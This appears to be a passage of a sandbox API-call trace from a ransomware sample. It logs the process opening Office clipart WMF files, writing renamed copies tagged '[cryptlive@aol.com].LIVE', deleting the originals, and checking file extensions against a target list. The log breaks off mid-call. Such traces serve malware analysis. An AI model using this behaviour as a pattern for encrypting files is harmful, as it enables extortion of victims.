[0147.653] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x2c0, lpOverlapped=0x0) returned 1 [0147.654] ReadFile (in: hFile=0x1ec, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0147.654] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.654] SetEndOfFile (hFile=0x3d0) returned 1 [0147.654] CloseHandle (hObject=0x3d0) returned 1 [0147.654] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.655] SetEndOfFile (hFile=0x1ec) returned 1 [0147.657] CloseHandle (hObject=0x1ec) returned 1 [0147.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.657] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf")) returned 1 [0147.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0147.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0147.658] lstrlenW (lpString=".doc") returned 4 [0147.658] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.658] lstrlenW (lpString=".docx") returned 5 [0147.658] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.658] lstrlenW (lpString=".pdf") returned 4 [0147.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.658] lstrlenW (lpString=".xls") returned 4 [0147.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.658] lstrlenW (lpString=".xlsx") returned 5 [0147.658] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.658] lstrlenW (lpString=".ppt") returned 4 [0147.658] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0147.658] lstrlenW (lpString=".zip") returned 4 [0147.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.658] lstrlenW (lpString=".rar") returned 4 [0147.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.658] lstrlenW (lpString=".bz2") returned 4 [0147.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.658] lstrlenW (lpString=".7z") returned 3 [0147.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0147.658] lstrlenW (lpString=".dbf") returned 4 [0147.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0147.658] lstrlenW (lpString=".1cd") returned 4 [0147.659] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0147.659] lstrlenW (lpString=".jpg") returned 4 [0147.659] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0147.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0147.659] lstrlenW (lpString=".doc") returned 4 [0147.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.659] lstrlenW (lpString=".docx") returned 5 [0147.659] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.659] lstrlenW (lpString=".pdf") returned 4 [0147.659] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.659] lstrlenW (lpString=".xls") returned 4 [0147.659] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.659] lstrlenW (lpString=".xlsx") returned 5 [0147.659] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.659] lstrlenW (lpString=".ppt") returned 4 [0147.659] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0147.659] lstrlenW (lpString=".zip") returned 4 [0147.659] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.659] lstrlenW (lpString=".rar") returned 4 [0147.659] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.659] lstrlenW (lpString=".bz2") returned 4 [0147.659] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.659] lstrlenW (lpString=".7z") returned 3 [0147.659] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0147.659] lstrlenW (lpString=".dbf") returned 4 [0147.659] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0147.659] lstrlenW (lpString=".1cd") returned 4 [0147.659] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0147.659] lstrlenW (lpString=".jpg") returned 4 [0147.660] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.660] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0147.660] lstrlenW (lpString="IN00351_.WMF") returned 12 [0147.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0147.660] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=1928) returned 1 [0147.660] CloseHandle (hObject=0x1ec) returned 1 [0147.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf")) returned 0x20 [0147.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0147.661] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.661] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0147.663] GetLastError () returned 0x0 [0147.663] ReadFile (in: hFile=0x1ec, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x788, lpOverlapped=0x0) returned 1 [0147.665] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x790, lpOverlapped=0x0) returned 1 [0147.667] ReadFile (in: hFile=0x1ec, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0147.668] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.668] SetEndOfFile (hFile=0x3d0) returned 1 [0147.668] CloseHandle (hObject=0x3d0) returned 1 [0147.668] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.668] SetEndOfFile (hFile=0x1ec) returned 1 [0147.671] CloseHandle (hObject=0x1ec) returned 1 [0147.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.671] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf")) returned 1 [0147.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0147.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0147.672] lstrlenW (lpString=".doc") returned 4 [0147.672] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.672] lstrlenW (lpString=".docx") returned 5 [0147.672] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.672] lstrlenW (lpString=".pdf") returned 4 [0147.672] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.672] lstrlenW (lpString=".xls") returned 4 [0147.672] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.672] lstrlenW (lpString=".xlsx") returned 5 [0147.672] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.672] lstrlenW (lpString=".ppt") returned 4 [0147.672] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0147.672] lstrlenW (lpString=".zip") returned 4 [0147.672] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.672] lstrlenW (lpString=".rar") returned 4 [0147.673] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.673] lstrlenW (lpString=".bz2") returned 4 [0147.673] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.673] lstrlenW (lpString=".7z") returned 3 [0147.673] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0147.673] lstrlenW (lpString=".dbf") returned 4 [0147.673] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0147.673] lstrlenW (lpString=".1cd") returned 4 [0147.673] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0147.673] lstrlenW (lpString=".jpg") returned 4 [0147.673] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0147.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0147.673] lstrlenW (lpString=".doc") returned 4 [0147.673] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.673] lstrlenW (lpString=".docx") returned 5 [0147.673] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.673] lstrlenW (lpString=".pdf") returned 4 [0147.673] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.673] lstrlenW (lpString=".xls") returned 4 [0147.673] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.673] lstrlenW (lpString=".xlsx") returned 5 [0147.673] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.673] lstrlenW (lpString=".ppt") returned 4 [0147.673] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0147.673] lstrlenW (lpString=".zip") returned 4 [0147.673] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.673] lstrlenW (lpString=".rar") returned 4 [0147.673] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.673] lstrlenW (lpString=".bz2") returned 4 [0147.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.674] lstrlenW (lpString=".7z") returned 3 [0147.674] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0147.674] lstrlenW (lpString=".dbf") returned 4 [0147.674] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0147.674] lstrlenW (lpString=".1cd") returned 4 [0147.674] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0147.674] lstrlenW (lpString=".jpg") returned 4 [0147.674] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.674] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0147.674] lstrlenW (lpString="IN00557_.WMF") returned 12 [0147.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0147.675] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=9172) returned 1 [0147.675] CloseHandle (hObject=0x1ec) returned 1 [0147.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf")) returned 0x20 [0147.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0147.677] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.677] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0147.678] GetLastError () returned 0x0 [0147.678] ReadFile (in: hFile=0x1ec, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x23d4, lpOverlapped=0x0) returned 1 [0147.679] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x23e0, lpOverlapped=0x0) returned 1 [0147.681] ReadFile (in: hFile=0x1ec, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0147.681] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.681] SetEndOfFile (hFile=0x3d0) returned 1 [0147.681] CloseHandle (hObject=0x3d0) returned 1 [0147.681] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.681] SetEndOfFile (hFile=0x1ec) returned 1 [0147.683] CloseHandle (hObject=0x1ec) returned 1 [0147.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.684] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf")) returned 1 [0147.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0147.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0147.684] lstrlenW (lpString=".doc") returned 4 [0147.684] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.684] lstrlenW (lpString=".docx") returned 5 [0147.685] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.685] lstrlenW (lpString=".pdf") returned 4 [0147.685] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.685] lstrlenW (lpString=".xls") returned 4 [0147.685] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.685] lstrlenW (lpString=".xlsx") returned 5 [0147.685] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.685] lstrlenW (lpString=".ppt") returned 4 [0147.685] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0147.685] lstrlenW (lpString=".zip") returned 4 [0147.685] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.685] lstrlenW (lpString=".rar") returned 4 [0147.685] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.685] lstrlenW (lpString=".bz2") returned 4 [0147.685] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.685] lstrlenW (lpString=".7z") returned 3 [0147.685] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0147.685] lstrlenW (lpString=".dbf") returned 4 [0147.685] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0147.685] lstrlenW (lpString=".1cd") returned 4 [0147.685] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0147.685] lstrlenW (lpString=".jpg") returned 4 [0147.685] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0147.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0147.685] lstrlenW (lpString=".doc") returned 4 [0147.685] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.685] lstrlenW (lpString=".docx") returned 5 [0147.685] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.685] lstrlenW (lpString=".pdf") returned 4 [0147.685] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.686] lstrlenW (lpString=".xls") returned 4 [0147.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.686] lstrlenW (lpString=".xlsx") returned 5 [0147.686] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.686] lstrlenW (lpString=".ppt") returned 4 [0147.686] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0147.686] lstrlenW (lpString=".zip") returned 4 [0147.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.686] lstrlenW (lpString=".rar") returned 4 [0147.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.686] lstrlenW (lpString=".bz2") returned 4 [0147.686] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.686] lstrlenW (lpString=".7z") returned 3 [0147.686] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0147.686] lstrlenW (lpString=".dbf") returned 4 [0147.686] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0147.686] lstrlenW (lpString=".1cd") returned 4 [0147.686] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0147.686] lstrlenW (lpString=".jpg") returned 4 [0147.686] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.686] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0147.686] lstrlenW (lpString="IN00915_.WMF") returned 12 [0147.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0147.687] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=12748) returned 1 [0147.688] CloseHandle (hObject=0x1ec) returned 1 [0147.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf")) returned 0x20 [0147.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0147.688] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.688] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0147.689] GetLastError () returned 0x0 [0147.689] ReadFile (in: hFile=0x1ec, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x31cc, lpOverlapped=0x0) returned 1 [0147.690] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x31d0, lpOverlapped=0x0) returned 1 [0147.691] ReadFile (in: hFile=0x1ec, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0147.691] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, 